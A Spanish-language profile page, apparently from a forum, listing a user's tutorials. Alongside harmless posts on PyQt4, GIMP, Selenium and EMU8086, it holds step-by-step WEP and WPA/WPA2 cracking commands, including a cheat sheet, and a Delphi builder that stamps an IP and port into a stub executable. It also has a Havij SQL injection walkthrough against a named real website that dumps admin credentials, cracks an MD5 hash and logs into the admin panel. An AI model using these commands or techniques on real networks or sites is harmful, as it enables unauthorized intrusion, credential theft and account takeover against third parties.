D

DoddyHackman

Usuario (Argentina)

Primer post: 5 dic 2011Último post: 15 jul 2013
17
Posts
243
Puntos totales
0
Comentarios
Creacion de un Server Builder
Creacion de un Server Builder
InfoporAnónimo7/15/2013

: Creacion de un Server Builder : Delphi : Doddy Hackman -- =================-------- 0x01 : Introduccion 0x02 : Creacion del builder 0x03 : Creacion del stub 0x04 : Probando el programa -- =================-------- 0x01 : Introduccion Siempre quise hacer un Server Builder en delphi pero siempre me fue dificil porque nadie habia hecho un manual en Delphi donde se explicara , tampoco en los foros de programacion me querian ayudar , entonces tuve que buscar mucho en google hasta encontrar un codigo simple donde se tratara de este tema. Entonces encontre un codigo donde se trataba de este caso hecho en Delphi por alguien llamado Faceless Wonder , de esta forma me base del codigo de Faceless Wonder para poder hacer uno bien basico para poder explicar en este tutorial. Empecemos ....... 0x02 : Creacion del builder Primero vamos a crear el builder , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen : Ahora creamos dos edit y un boton como en la imagen : Despues le damos doble click al boton para poner el siguiente codigo : Código: procedure TForm1.Button1Click(Sender: TObject); var linea: string; // Declaramos todas las variables aca: THandle; code: Array [0 .. 80 + 1] of Char; nose: DWORD; marca_uno: string; marca_dos: string; begin marca_uno := '{IP}'; // Ponemos la marca para la IP marca_dos := '{PORT}'; // Ponemos la marca para el puerto aca := INVALID_HANDLE_VALUE; nose := 0; begin linea := marca_uno + Edit1.Text + marca_uno + marca_dos + Edit2.Text + marca_dos; // Formamos la linea con los datos de la IP y el Puerto StrCopy(code, pchar(linea)); aca := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); // Abrimos el archivo server.exe if (aca <> INVALID_HANDLE_VALUE) then begin SetFilePointer(aca, 0, nil, FILE_END); WriteFile(aca, code, 80, nose, nil); // Escribimos en el archivo CloseHandle(aca); // Cerramos el archivo end; end; end; Otra imagen para que vean como quedo : Con eso guardamos el proyecto y vamos al stub 0x03 : Creacion del stub La parte vital y supuestamente mas dificil , la idea es que el archivo se lea a si mismo y busque lo que hicimos en el builder , para empezar hacemos lo mismo que el builder , creamos otro proyecto como la otra vez , File->New->VCL Forms Application , entonces agregamos dos edit y un boton como en la imagen. Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo : Código: // Funcion para dividir el texto para buscar la IP y el Puerto function regex(text: String; deaca: String; hastaaca: String): String; begin Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1); SetLength(text, AnsiPos(hastaaca, text) - 1); Result := text; end; procedure TForm1.Button1Click(Sender: TObject); var ob: THandle; // Declaramos todas las variables code: Array [0 .. 80 + 1] of Char; nose: DWORD; ip: string; port: string; begin ob := INVALID_HANDLE_VALUE; code := ''; // El programa se lee a si mismo ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if (ob <> INVALID_HANDLE_VALUE) then begin SetFilePointer(ob, -80, nil, FILE_END); ReadFile(ob, code, 80, nose, nil); // Extraemos el contenido y lo ponemos en la variable code CloseHandle(ob); // Cerramos el archivo end; ip := regex(code, '{IP}', '{IP}'); // Usamos la funcion regex para sacar la IP port := regex(code, '{PORT}', '{PORT}'); // Usamos la funcion regex para sacar el puerto Edit1.text := ip; // Ponemos la IP en Edit1 Edit2.text := port; // Ponemos el puerto en Edit2 end; Una imagen de como queda : Guarden el proyecto de forma que el ejecutable termine llamandose server.exe Ahora que esta todo hecho pasamos al siguiente punto. 0x04 : Probada del programa Bueno ,ahora solo cargan el builder , ponen los datos que quieran y despues cargan el stub "server.exe" para cargar el boton del stub , entonces veran algo como esto Como ven tambien use WinHex para cargar el ejecutable server.exe y verificar que realmente el builder habia hecho bien el trabajo. Eso seria todo. --========-- The End ? --========--

10
0
S
Sacar fondo blanco en imagenes con GIMP
Apuntes Y MonografiasporAnónimo12/7/2011

Ejercicio 3. Eliminar fondo blanco Partimos de una imagen con formato jpg en la que se ve un potenciómetro sobre un fondo blanco. El objetivo del ejercicio es quitar el fondo blanco y dejarlo transparente para poder pegar el potenciómetro en otro sitio. Este trabajo se puede realizar de diferentes formas, pero la forma más sencilla en nuestro caso es utilizar la herramienta de selección difusa, con forma de varita mágica, que realiza una selección automática basándose en el color. PROCEDIMIENTO: 1. Pinchamos en la herramienta de selección difusa, en la varita mágica, y la configuramos en modo "añadir a la selección actual" 2. Hacemos clic en las zonas blancas de la imagen hasta que todo el fondo aparezca seleccionado. 3. Invertimos la selección para seleccionar el potenciómetro y no el fondo. Esto lo hacemos desde el menú: Seleccionar => Invertir 4. Copiamos la selección (CTRL + C) 5. Creamos una imagen nueva (Archivo => Nuevo). En la ventana que aparece pinchamos en "Opciones avanzadas" y seleccionamos Rellenar con "Transparencia". El resto de opciones las dejamos como están para que nos cree una imagen del mismo tamaño que la que tenemos abierta. Por último hacemos clic en "Aceptar" 6. Pegamos la selección en la nueva imagen con transparencia (CTRL + V) 7. Guardamos el archivo con la extensión de Gimp (xcf) y también como *.gif con la finalidad de que se guarde la imagen con la transparencia del fondo. (Las imágenes jpg no pueden tener fondos transparentes) 8. Haz una captura de pantalla para adjuntar a la memoria de ejercicios. Fuente : https://sites.google.com/site/teknepolis/informatica/gimp/ejercicio-3-eliminar-fondo-blanco

21
0
Hackea una red WEP en 5 min
Hackea una red WEP en 5 min
InfoporAnónimo12/5/2011

1. Introducción:En este tutorial les enseñare a crackear WEPs con Backtrack desde cero.En esta primer parte, veremos cómo hacerlo por medio de ARP Request replay attack. Este tipo de ataque es un ataque por envío o reproducción de dato. Y precisamente este ataque consiste en capturar esos datos que viajan en una determinada red. Como se muestra en la imagen, o al menos lo que intento mostrar, es que capturaremos datos que transmiten el cliente y el router metiéndonos en el medio de los dos.Esos datos que capturaremos se llaman IVS. Mientras más tengamos, es más probable que obtengamos la contraseña.Comenzaremos colocamos el DVD con Backtrack y booteamos desde la lectora. Veremos algo así: Una vez seleccionada, cargara los archivos necesarios y colocaremos en la consola el comando:startxUna vez tipeado, presionamos enter y nos llevara al escritorio en donde encontraremos las herramientas para trabajar. En la parte inferior derecha, veremos una bandera... Si damos click con el boton secundario de nuestro mouse, podremos cambiar el teclado por el español para que sea mas fácil insertar comandos en la consola.Click derecho en la bandera, Configure, luego buscamos Spain en el menú izquierdo, doble click en ella, y ya la podremos seleccionar para utilizarla.2. Cambiando nuestra MAC:Lo primero que haremos será cambiar nuestra MAC, para que sea más fácil de recordar.Accedemos a la consola y tipeamos:airmon-ngComo vemos en la imagen, mi interface se llama: wlan0Lo que haremos ahora será detenerla. Para ello tipeamos:airmon-ng stop wlan0Una vez hecho esto tipeamos lo siguiente:ifconfig wlan0 downAhora pasaremos a cambiar nuestra MAC. Para ello tipeamos:macchanger --mac 00:11:22:33:44:55 wlan0Si nos quedo algo como la imagen, quiere decir que hemos hecho todos los pasos correctamente.Finalmente pondremos nuevamente nuestra tarjeta en modo monitor tipeando la siguiente línea:airmon-ng start wlan03. Buscando Redes:Para comenzar tipearemos la siguiente línea:airodump-ng wlan0Para este tutorial configure mi router con una pass WEP.Como se puede ver, apareció mi red, y tiene encriptación WEP. Lo que haremos ahora será parar el scanneo presionando CTRL + C4. Capturando Ivs:Tipeamos la siguiente línea:airodump-ng -c 1 -w underc0de --bssid D8:5D:4C:C7C:EE wlan0Me detendré un poco a explicar. Como podrán ver, coloque en azul algunos parámetros.En donde está el "1" debemos modificarlo por el CANAL, que es en donde está la CH en la Imagen 10. En mi caso es el canal 1.Donde dice underc0de, debemos modificarlo por un nombre que nosotros queramos.Por último en donde está la MAC, deben colocar la MAC que están atacandoUna vez ejecutada esta línea, comenzara a capturar los #DATA (Ivs), que son datos necesarios para luego descifrar la Pass. 5. Asociándonos a la red:Lo que haremos ahora será asociarnos. Para ello abrimos otra consola, SIN CERRAR LA ANTERIOR, ya que seguirá capturando los #DATAs (Ivs) que necesitaremos más adelante.En la nueva consola tipearemos:aireplay-ng -1 0 -a D8:5D:4C:C7C:EE -h 00:11:22:33:44:55 -e ANTRAX wlan0En esta línea modificaremos lo azul nuevamente.En este caso la MAC por la que estamos atacando y en donde dice mi nombre por el ESSID que estamos atacando, que en mi caso se llama ANTRAX.Si llegamos hasta acá, y nos aparece eso mismo de la imagen, quiere decir que hasta el momento hemos hecho las cosas a la perfección!En caso contrario aparecerá algún tipo de error (unsuccessful), las causas pueden ser las siguientes:- La red a la que quieres atacar está muy lejos.- Tu tarjeta de red no puede hacer inyección de paquetes.- El router tiene seguridad para evitar este tipo de ataques.6. Inyectando Tráfico:Tipeamos ahora en la misma consola el siguiente comando:aireplay-ng -3 -b D8:5D:4C:C7C:EE -h 00:11:22:33:44:55 wlan0Al igual que antes, modificamos la MAC en azul por la que estamos atacando. Una vez hecho esto, comenzara a inyectar tráfico y los #DATAs comenzaran a subir velozmente.Si llegamos hasta acá, y tenemos todo bien, estamos a solo un paso. Recuerden que es necesario capturar muchos #DATAs, mientras más tengamos mejor. La cantidad de #DATAs que debamos capturar dependerá de que tan complicada sea la Pass.7. Desencriptando la Password:Hemos llegado al final... En una tercera consola, tipearemos lo siguiente:aircrack-ng underc0de-01.capComo siempre modificamos lo azul por el nombre que pusimos previamente en el paso 4.Al ejecutar el comando, la pass se comenzara a desencriptar.Esperamos un momento a que se desencripte, y si todo esta correcto, nos tirara la pass, de lo contrario deberemos seguir capturando mas #DATAs hasta obtener la pass.Como pueden ver, en mi caso la pass es: under8. Despedida:Bueno, espero que les haya gustado y les sirva este tutorial.Cualquier duda que tengan pueden postearla en el blogDESCARGAR VERSION PDFGreetz: Flemon

71
16
S
SQLi Automatizado con Havij
InfoporAnónimo2/23/2012

Introduccion Hola a todos, soy ANTRAX. En este tutorial les voy a enseñar a como automatizar SQL Injections. Utilizare una herramienta llamada Havij, que automatiza todos los pasos. Desde inyectar, hasta obtener usuario y pass, y hasta el panel de admin. Havij es una herramienta muy cómoda que hace ahorrar mucho tiempo. De forma simple, en este paper les enseñare como usarlo para sacarle provecho. Esa es su apariencia, con su menú. Como se puede ver, también desencripta los hash de admines utilizando bases de datos online Analizando una web El primer paso será ver si una web es vulnerable o no. Para este tutorial usare la misma web que use en el tutorial anterior: www.samg.es/web Como bien vimos en la parte anterior “SQLi desde Cero” Debemos buscar algo que tenga un “id=X” para poder inyectar desde ahí. En mi caso sería por acá: http://samg.es/web/noticias/noticia.php?id=103 Pruebo como lo hacía en el paper anterior de cambiar el numero del id por -1 o comilla simple. Y al parecer es vulnerable: Bien, ahora que sospechamos que es vulnerable, la probaremos con Havij. Colocamos únicamente que la url en donde vamos a inyectar incluyendo el ID y presionamos en Analyze. Ahora solo toca esperar… En caso de que sea vulnerable, nos mostrara el nombre de la base de datos con sus tablas. Base de datos, tablas y datos Una vez que termine, veremos que se habilita la opción de tablas y a demás en el Status, nos muestra el nombre de la base de datos: Presionamos sobre el botón Tables Antes de seguir, me detengo un momento aquí para explicarles un poco lo que se ve en la imagen. Este maravilloso programa, tiene la facilidad de mostrarnos datos importantes solo con unos clicks del mouse… Este programa esta ordenado de cierta forma, y hay que seguir el orden de izquierda a derecha. Lo que muestra ahora la imagen, es el nombre de la base de datos, lo que sigue, es clickear el botón de su derecha “Get Tables” para obtener los nombres de todas las tablas Como se puede apreciar, me listo todas las tablas la base de datos. En ese listado, debemos buscar alguna tabla que pueda contener datos de interés. En mi caso se llama samg_administradores Una vez seleccionada, presionamos el siguiente botón que es Get Columns para que nos muestre las columnas de esa tabla Seleccionamos las columnas que más nos interesen, yo solo quiero user y pass. Una vez tildados, damos en Get Data para obtener los datos de los administradores Como se puede ver, ahí me muestra el usuario y contraseña de admin. Lamentablemente no es la misma del tutorial anterior, ya que algún tonto sin ética entro y lo modifico… Panel de admin Finalmente buscaremos el panel de administración para loguearnos y podes entrar con los datos recientemente sacados. Para ello, Havij cuenta con un Admin Finder, que es el botón Find Admin. Presionamos ahí y colocamos la url de la página: Damos en Start y esperamos a que nos muestre la url del panel: Probamos si es esa y colocamos los datos obtenidos: Y estamos adentro!! MD5 Decrypter Pero… ¿qué pasa si me muestra el usuario y la contraseña esta encriptada? Acá se puede ver que las pass están en MD5. Havij cuenta con un decrpyter. Damos click en la llavecita que dice MD5, colocamos el hash y esperamos a que busque en bases de datos online hasta que lo encuentre: Como se puede ver, la pass es atencao Despedida: Bueno, esto es todo por ahora, espero que les haya gustado y nos vemos en un próximo tutorial. Greets: Cronos - Dracko.rx Tutorial hecho solo con fines educativos Fuente : http://www.antrax-labs.org/2012/02/sqli-automatizado-con-havij.html

10
0
Crackear WEP´s - WPA/WPA2/PSK
Crackear WEP´s - WPA/WPA2/PSK
InfoporAnónimo2/9/2012

1. WEP`s [ARP request replay attack]:  NOTA: En todos los casos reemplazar:  XXXX: Interface  ZZZZ: Canal  YYYY: MAC BSSID  RRR: ESSID  1.1. Cambiar la MAC:  A. airmon-ng (Ver la interface que usamos)  B. airmon-ng stop XXXX (Detenemos el modo monitor)  C. ifconfig XXXX down (Tiramos nuestra interface)  D. macchanger --mac 00:11:22:33:44:55 XXXX (Cambiamos nuestra MAC, en este caso sera 00:11:22:33:44:55)  E. airmon-ng start XXXX (Volvemos a iniciar el modo monitor)  1.2. Buscar Redes:  F. airodump-ng XXXX ( Scannea Redes)  G. CTRL + C (Detiene el scanneo)  H. airodump-ng -c ZZZZ -w datas --bssid YYYY XXXX (Capturamos IVs) [No cerrar consola]  1.3. Asociandonos a la red (En otra consola):  I. aireplay-ng -1 0 -a YYYY -h 00:11:22:33:44:55 -e RRR XXXX (Asociacion con la red)  1.4 Inyectando Trafico:  J. aireplay-ng -3 -b YYYY -h 00:11:22:33:44:55 XXXX (Captura Datas a mas velocidad)  1.5. Desencriptando la Clave (En otra consola):  K. aircrack-ng datas-01.cap (Desencripta la clave con Aircrack)  2. WPA/WPA2/PSK:  NOTA: En todos los casos reemplazar:   XXXX: Interface  ZZZZ: Canal  YYYY: MAC BSSID  RRR: Interface modo monitor  TTTT: Station  2.1. Colocar la interface en modo monitor  A. aimon-ng (Saber nuestra Interface)  B. airmon-ng start XXXX (Colocamos en modo monitor nuestra Interface)  2.2. Capturando el Handshake:  C. airodump-ng RRR (Scannea redes)  D. CTRL + C (Frena el scanneo)  E. airodump-ng RRR --channel 1 --bssid YYYY -w /tmp/wpa2 (Guardara los *.cap en el directorio que le indicamos)  F. aireplay-ng -0 1 -a YYYY -c TTTT RRR(Comenzara la captura del Handshake)  2.3 Obteniendo la Clave:  G.1. aircrack-ng -w /pentest/passwords/wordlists/wpa.txt -b YYYY /tmp/wpa2*.cap (Saca la Pass por Diccionario)  G.2. /pentest/passwords/jtr/john --stdout --incremental:all | aircrack-ng -b YYYY -w - /tmp/wpa2*.cap (Saca la Pass por Fuerza Bruta con John The Ripper)

6
3
D
Desencriptando redes WPA/WPA2
InfoporAnónimo3/3/2012

Introduccion: En este tutorial les enseñare a crackear WPA / WPA2 / PSK desde cero. En la primera parte que fue de como crackear WEPs desde cero vimos como iniciar desde el DVD de Backtrack, por lo tanto arrancaremos con la linea de comandos. Este tutorial es compatible con cualquier versión del Backtrack. Colocando nuestra interface en modo monitor: Primero debemos saber como se llama nuestra interface, para ello tipeamos: aimon-ng Como vemos en la imagen, mi interface se llama wlan0. Ahora para ponerla en modo monitor tipeamos airmon-ng start wlan0 Como podemos ver en la imagen 2, nos pone entreparentesis "(monitor mode enabled on mon0)", que sera la que utilizaremos. Capturando el Handshake La siguiente linea de comando scanneara las redes cercanas: airodump-ng mon0 Como se puede ver, aparece una red llamada ANTRAX que sera la que atacare. De este paso debemos tener en cuenta el canal, en este caso es 1. El BSSID y la STATION. Una vez que sale la MAC de la red que deseamos atacar con una estacion, frenamos el scanneo presionando CTRL + C Ahora tipearemos la siguiente linea: airodump-ng mon0 --channel 1 --bssid D8:5D:4C:C7C:EE -w /tmp/wpa2 Seguido a esto nos aparecera una imagen de la red sin clientes conectados y en otra consola tipeamos: aireplay-ng -0 1 -a D8:5D:4C:C7C:EE -c 701:A1:94:E8:34 mon0 Una vez tipeado esto, podremos ver que apareceran redes en la otra consola y podremos capturar el Handshake. Como se puede ver en la imagen 8, hemos capturado el Handshake, ahora lo que nos queda es desencriptar la password. Esto se puede hacer de dos formas.. 1 - Bruteandola con el Jonh The Ripper 2 - Por medio de Diccionario En este tutorial veremos las dos Formas Obteniendo la Clave Para hacerla por medio de Aircrack utilizando el diccionario que trae Backtrack, tipeamos la siguiente linea: aircrack-ng -w /pentest/passwords/wordlists/darkc0de.lst -b D8:5D:4C:C7C:EE /tmp/wpa2*.cap En este caso estoy utilizando el diccionario que viene con Backtrack. Ustedes pueden utilizar sus propios diccionario y corrigen la ruta del mismo. Como podran ver, ahi obtuvo la Clave y en este caso es: "thisisatest" Ahora veamos la forma de hacerlo por medio de John The Ripper. Tipeamos el siguiente comando: Backtrack 4: /pentest/passwords/jtr/john --stdout --incremental:all | aircrack-ng -b D8:5D:4C:C7C:EE -w - /tmp/wpa2*.cap Backtrack 5: /pentest/passwords/john/john --stdout --incremental:all | aircrack-ng -b D8:5D:4C:C7C:EE -w - /tmp/wpa2*.cap Recuerden cambiar la MAC por la que estan atacando y el directorio si es que lo modificaron. Ambos metodos, tanto por diccionario como por John The Ripper suelen demorar dependiendo la dificultad de la contraseña. Despedida: Bueno, espero que les haya gustado y les sirva este tutorial y cualquier duda que tengan pueden postearla en el blog. Fuente : http://www.antrax-labs.org/2011/11/desencriptando-redes-wpawpa2.html

32
0
Aprendiendo PyQT4 - JaAViEr (0x5d)
Aprendiendo PyQT4 - JaAViEr (0x5d)
InfoporAnónimo3/3/2012

Hola, buen día. En esta ocasión vengo a "enseñar" un poco sobre lo que es la aplicación de QT4 en nuestro siempre querido Python. En esta guía pretendo explicar la base para crear un formulario y los distintos widgets a utilizar, como dar función a un botón, obtener datos de campos QLineEdit(), insertar datos en diferentes tipos de widgets, tales como QLineEdit, QPlainText, QTextBrowser, etc. Y pues ya lo demás es saber lo básico de Python, pero en ves de pedir los datos vía raw_input() estos son reemplazados por los ya mencionados QLineEdit, para imprimir un dato por pantalla podemos usar QLabel. Ya lo demás es saber programar en Python nada más ! Bien, antes que todo, veamos que es QT, según la conocida Wikipedia : CitarQt es una biblioteca multiplataforma ampliamente usada para desarrollar aplicaciones con una interfaz gráfica de usuario así como también para el desarrollo de programas sin interfaz gráfica como herramientas para la línea de comandos y consolas para servidores. Ya, vamos al grano... ¿ Qué necesito para programar en PyQT4 ? Necesitas obviamente tener instalado Python: dijo: dijo:sudo apt-get install python[/quote][/quote] Una vez instalado, debemos instalar las librerías QT4: dijo: dijo:sudo apt-get install python-qt4[/quote][/quote] Esto es <em>opcional</em>, es el QT4 Designer, que nos ayuda a crear la interfaz gráfica, pero en C++ dijo: dijo:sudo apt-get install qt4-designer[/quote][/quote] Y lo siguiente, es para traducir el código C++ a PyQT4, en caso de usar el QT4 Designer: dijo: dijo:sudo apt-get install pyqt4-dev-tools[/quote][/quote] Aclaro que yo a lo largo del tutorial solo usaré el QT4 Designer para saber las dimensiones de los widgets, tamaños y propiedades. Bueno, volvamos al tema... Vamos a empezar ! La base de todos los programas en PyQT4 debe ser: dijo: dijo:# -*- coding: utf-8 -*- #Autor: JaAViEr(0x5d) #Website: http://www.rootcodes.com #Twitter: @0x5d from PyQt4 import QtCore, QtGui import sys class Mi_Programa(QtGui.QWidget): def __init__(self, parent=None): QtGui.QWidget.__init__(self, parent) self.resize(200,200) #Dimensiones del formulario aplicacion = QtGui.QApplication(sys.argv) formulario = Mi_Programa() # Instanciamos la clase de nuestro programa formulario.show() # Mostramos el Formulario aplicacion.exec_() # Ejecutamos[/quote][/quote]Si has copiado y pegado bien, la salida debe ser: Genial, nuestra primera mini aplicación en PyQT4, en la segunda parte empezaremos a utilizar los widgets QLineEdit(), QLabel() y QPushButton()

0
0
A
Aprendiendo PyQT4 - JaAViEr (0x5d)
InfoporAnónimo3/3/2012

Hola nuevamente ! Siguiendo con el tutorial, pasaré a explicar como implementar un QLineEdit() y un QPushButton(), para que tengan una idea de que les hablo : [color=rgb(0,0,0)][color=rgb(0,0,0)][color=rgb(0,0,0)]<input value="Esto es un QLineEdit()"> <input value="Esto es un QPushButton()" type="submit"> [/color][/color][/color] (ESO EN HTML)   Ello mismo, pero en PyQT4. Bien, para poder insertar nuestro QLineEdit, debemos añadir bajo la línea del self.resize(200,200): [color=rgb(0,0,0)][color=rgb(0,0,0)][color=rgb(0,0,0)] self.mi_qlinedit = QtGui.QLineEdit(self) [/color][/color][/color] Quedando así en nuestro form: [color=rgb(0,0,0)][color=rgb(0,0,0)][color=rgb(0,0,0)]# -*- coding: utf-8 -*- from PyQt4 import QtCore, QtGui import sys class Mi_Programa(QtGui.QWidget):   def __init__(self, parent=None):     QtGui.QWidget.__init__(self, parent)     self.resize(200,200) #Dimensiones del formulario     self.mi_qlinedit = QtGui.QLineEdit(self) # añadimos el QLineEdit aplicacion = QtGui.QApplication(sys.argv) formulario = Mi_Programa() # Instanciamos la clase de nuestro programa formulario.show() # Mostramos el Formulario aplicacion.exec_() # Ejecutamos [/color][/color][/color] Y Pues para añadir un botón: [color=rgb(0,0,0)][color=rgb(0,0,0)][color=rgb(0,0,0)]self.mi_boton = QtGui.QPushButton("Hola, soy un boton!", self) [/color][/color][/color] Nuestro formulario quedaría así: [color=rgb(0,0,0)][color=rgb(0,0,0)][color=rgb(0,0,0)]# -*- coding: utf-8 -*- from PyQt4 import QtCore, QtGui import sys class Mi_Programa(QtGui.QWidget):   def __init__(self, parent=None):     QtGui.QWidget.__init__(self, parent)     self.resize(200,200) #Dimensiones del formulario     self.mi_boton = QtGui.QPushButton("Hola, soy un boton!", self) aplicacion = QtGui.QApplication(sys.argv) formulario = Mi_Programa() # Instanciamos la clase de nuestro programa formulario.show() # Mostramos el Formulario aplicacion.exec_() # Ejecutamos[/color][/color][/color] Nota: Podemos utilizar cualquier variable, siempre anteponiendo el self., solo que yo usé mi_boton para darle un nombre descriptivo.   Bien, ya sabemos como insertar nuestros primeros Widgets en PyQT4, pero verás que al mezclar ambos, solo muestra un widget, esto sucede porque no le hemos dado una ubicación, por lo que ambos se posición en las coordenadas X = 0; Y = 0 , así uno se sobre pone del otro. Entonces, ¿ Cómo ubico mi widget donde yo quiera ?   Sencillo ! , debemos utilizar la propiedad setGeometry(X,Y,Width, Height) , Donde X será la ubicación hacia los costados e Y arriba y abajo. Aquí es donde yo recomiendo usar el QT Designer, pues nos ayudará a ubicar nuestro Widget de manera correcta y no dirá en que ubicación se encuentra.   Recomiendo utilizar en el botón, el height 27, que es la altura de un botón normal. El width dependerá del ancho del texto de nuestro botón. (width = ancho ; height = altura)   En lo que respecta el QLineEdit, recomiendo usar también el height = 27   Así quedando la mezcla: [color=rgb(0,0,0)][color=rgb(0,0,0)][color=rgb(0,0,0)] # -*- coding: utf-8 -*- from PyQt4 import QtCore, QtGui import sys class Mi_Programa(QtGui.QWidget):   def __init__(self, parent=None):     QtGui.QWidget.__init__(self, parent)     self.resize(200,200) #Dimensiones del formulario     self.mi_boton = QtGui.QPushButton("Boton", self) # Creo el QPushButton()     self.mi_boton.setGeometry(10,40,92,27) #X = 10 ; Y = 15 ; Width = 92 ; Height = 27     self.mi_qlinedit = QtGui.QLineEdit(self) # Creo el QLineEdit()     self.mi_qlinedit.setGeometry(10,10,92,27) # X = 10 ; Y = 10 ; Width = 92 ; Height = 27 aplicacion = QtGui.QApplication(sys.argv) formulario = Mi_Programa() # Instanciamos la clase de nuestro programa formulario.show() # Mostramos el Formulario aplicacion.exec_() # Ejecutamos[/color]  [/color][/color] Un ScreenShot: En la siguiente parte, explicaré como darle función a un botón e implementar un QLabel() con un resultado posterior ! Saludos, Javier !

0
0
A
Automatizacion Selenium IDE + Python
InfoporAnónimo3/3/2012

Introducción Selenium IDE es un complemento de Firefox utilizado para automatizar y hacer pruebas sobre aplicaciones web. Para ello, realiza una grabación de determinadas acciones que luego las convierte en un script editable. Lo más cómodo, es que luego este script se puede ejecutar tantas veces como se quiera. La función principal de este plugin es poder hacer testing funcional de las aplicaciones. Permite rellenar formularios, navegar por webs, etc. Esta herramienta permite ahorrar mucho tiempo y esfuerzo. Para ello permite automatizar pruebas que puede ser una prueba en particular o conjunto de pruebas. Instalación Solo basta con ir a http://seleniumhq.org/download/ y descargar Selenium IDE. Nos aparecerá el cartel para instalar el complemento y solo damos en permitir Y comenzara a descargarlo… Una vez descargado, lo instalamos Una vez instalado, nos pedirá que reiniciemos el browser Y con esto ya quedara instalado. Podremos encontrar Selenium en el menú de Herramientas del navegador A demás de esto, necesitaremos instalar python y la librería de selenium para python (en mi caso) Python: http://python.org/download Librería de Selenium: http://pypi.python.org/pypi/selenium Una vez instalado python, copiamos las librerías de Selenium dentro de la carpeta de las librerías (Cython27Lib). Primeros pasos con Selenium Abrimos el navegador, yo usare firefox. Iniciamos Selenium IDE Apenas lo abrimos, comenzamos a navegar normalmente y Selenium grabara todos los pasos que hagamos. Mis pasos son los siguientes: [+] Google [+] ANTRAX-LABS [+] Boton Buscar [+] Click en el link de mi blog Como se puede ver, Ya estoy en mi blog y Selenium grabo todos mis pasos Ahora lo que hare, sera comprobar un enlace de mi blog, para ello, con el botón secundario del mouse, dare click en un enlace de mi blog y seleccionare “verifyElementPresent…” Como se puede ver en la imagen, han quedado grabados todos los pasos que hice. Ahora se puede exportar el script de automatización a cualquiera de los lenguajes que se ven en la imagen. Yo trabajare con Python. Guardamos el script con su extensión correspondiente ?1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from selenium import webdriver from selenium.webdriver.common.by import By from selenium.common.exceptions import NoSuchElementException import unittest, time, re class TestAntraxLabs(unittest.TestCase): def setUp(self): self.driver = webdriver.Firefox() self.driver.implicitly_wait(30) self.base_url = "http://www.google.com.ar/" self.verificationErrors = [] def test_antrax_labs(self): driver = self.driver driver.get( "/" ) driver.find_element_by_id( "lst-ib" ).click() driver.find_element_by_id( "lst-ib" ).clear() driver.find_element_by_id( "lst-ib" ).send_keys( "antrax-labs" ) driver.find_element_by_name( "btnG" ).click() driver.find_element_by_link_text( "NTRAX ABS" ).click() try: self.assertTrue(self.is_element_present(By.LINK_TEXT, "Seguridad Wireless" )) except AssertionError as e: self.verificationErrors.append(str(e)) def is_element_present(self, how, what): try: self.driver.find_element(by=how, value=what) except NoSuchElementException, e: return False return True def tearDown(self): self.driver.quit() self.assertEqual([], self.verificationErrors) if __name__ == "__main__" : unittest.main() Y como resultado tendremos el script, que puede ser editable para añadir o modificar funciones ?1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from selenium import webdriver from selenium.webdriver.common.by import By from selenium.common.exceptions import NoSuchElementException import unittest, time, re class TestAntraxLabs(unittest.TestCase): def setUp(self): self.driver = webdriver.Firefox() self.driver.implicitly_wait(30) self.base_url = "http://www.google.com.ar/" self.verificationErrors = [] def test_antrax_labs(self): driver = self.driver driver.get(self.base_url) driver.find_element_by_id( "lst-ib" ).click() driver.find_element_by_id( "lst-ib" ).clear() driver.find_element_by_id( "lst-ib" ).send_keys( "antrax-labs" ) driver.find_element_by_name( "btnG" ).click() driver.find_element_by_link_text( "NTRAX ABS" ).click() try: self.assertTrue(self.is_element_present(By.LINK_TEXT, "Seguridad Wireless" )) except AssertionError as e: self.verificationErrors.append(str(e)) def is_element_present(self, how, what): try: self.driver.find_element(by=how, value=what) except NoSuchElementException, e: return False return True def tearDown(self): self.driver.quit() self.assertEqual([], self.verificationErrors) if __name__ == "__main__" : unittest.main() Lo que hice acá, fue un ligero cambio. Reemplace la barra por la variable que contiene la url inicial, en mi caso la de google. Si corremos el Script, se nos abrirá el navegador y automáticamente comenzara a navegar y a seguir los pasos que dejamos grabados. Al finalizar, lanza un mensaje diciendo si paso o no la prueba. En mi caso busco y abrió mi blog correctamente y pudo verificar el enlace, en por eso que me dio el OK. En caso de no pasar, tirara un mensaje de error. Lo bueno de Selenium es que se puede trabajar en varios lenguajes y que sus scripts exportados son editables. Fuente : http://www.antrax-labs.org/2011/12/automatizacion-selenium-ide-python.html

11
0
E
Emulador EMU8086
InfoporAnónimo3/3/2012

El Emulador EMU8086 es el primer programa que se utiliza en el curso de Microprocesadores que imparte la Universidad Don Bosco; se ha elegido este emulador porque posee una interfaz de usuario muy amistosa que permite familiarizarse con los fundamentos de la programación en lenguaje ensamblador de forma muy intuitiva, aparte de eso brinda una serie de recursos para ejecutar y depurar los programas. También tiene algunas desventajas como el de no soportar algunas de las interrupciones más interesantes que posee el sistema operativo y tampoco puede acceder a los puertos físicos (reales), sino que los emula usando otros programas que ya están incluidos en su respectiva carpeta. Para iniciar se debe ejecutar el archivos EMU886.exe, que se encuentra en la carpeta del mismo nombre, en el directorio raíz; seguramente en la computadora donde corra el programa tendrá otras alternativas para activar el programa, como un acceso directo en el escritorio o en el menú de programas del sistema operativo. Si está ejecutando la versión 4.05 del EMU8086 observará primero la pantalla de Bienvenida (welcome), similar a la que se muestra en la Figura 1 Figura 1. Pantalla de bienvenida del emulador EMU8086. Se presentan cuatro diferentes opciones para elegir: • New : Le permite escribir un nuevo código en lenguaje ensamblador (al que Llamaremos “Código Fuente” y tendrá extensión .ASM) • Code examples: Le permite acceder a una serie de programas ejemplos que pueden ayudarle a comprender funciones más complejas. • Quick star tutor : activa un conjunto de documentos de ayuda, se recomienda revisarlos frecuentemente en caso de dudas. • Recent file : Le muestra los últimos archivos que se trabajaron en la máquina. Para continuar este primer contacto con el emulador, seleccioneNew. Observará una nueva caja de dialogo “choose code template”, como se muestra en la Figura 2 Figura 2. Caja de dialogo para seleccionar el tipo plantilla (template). 